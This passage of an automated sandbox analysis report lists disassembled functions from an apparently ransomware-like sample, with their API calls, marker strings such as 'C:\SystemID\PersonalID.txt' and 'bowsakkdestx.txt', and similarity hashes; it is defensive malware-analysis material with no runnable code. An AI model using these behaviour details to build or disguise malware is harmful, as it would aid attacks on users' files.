Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

0, xrefs: 0041BA1D
LPCWSTRszWindowClass, xrefs: 0041BA65

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Function 00419E70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 225b5b572bde38d8badb4302925c97bbda5b3bc979f66d9100de26b3352a814c
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 225b5b572bde38d8badb4302925c97bbda5b3bc979f66d9100de26b3352a814c
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C709
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C73F

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00670000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 09908775b5e5bc8df4309979956ae60541863bcf2bd73145411733e911d939f3
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 09908775b5e5bc8df4309979956ae60541863bcf2bd73145411733e911d939f3
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00670000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: efacfe8a7822f511a106dcd20e6e7bf1a1e7fcbd7ce4ae236d875aaf3405b2f1
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: efacfe8a7822f511a106dcd20e6e7bf1a1e7fcbd7ce4ae236d875aaf3405b2f1
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

invalid string position, xrefs: 00414C3D
string too long, xrefs: 00414C33

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

invalid string position, xrefs: 00417EDF
string too long, xrefs: 00417EE9

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(?,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

%username%, xrefs: 0041B283
I:\5d2860c89d774.jpg, xrefs: 0041B32F

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777
unknown, xrefs: 0045175D

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 1bfec74ce1320eefcdc9ae333d00d9e9fa03295fad3003f73d6f4c9085cf79ee
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 1bfec74ce1320eefcdc9ae333d00d9e9fa03295fad3003f73d6f4c9085cf79ee
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C956

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

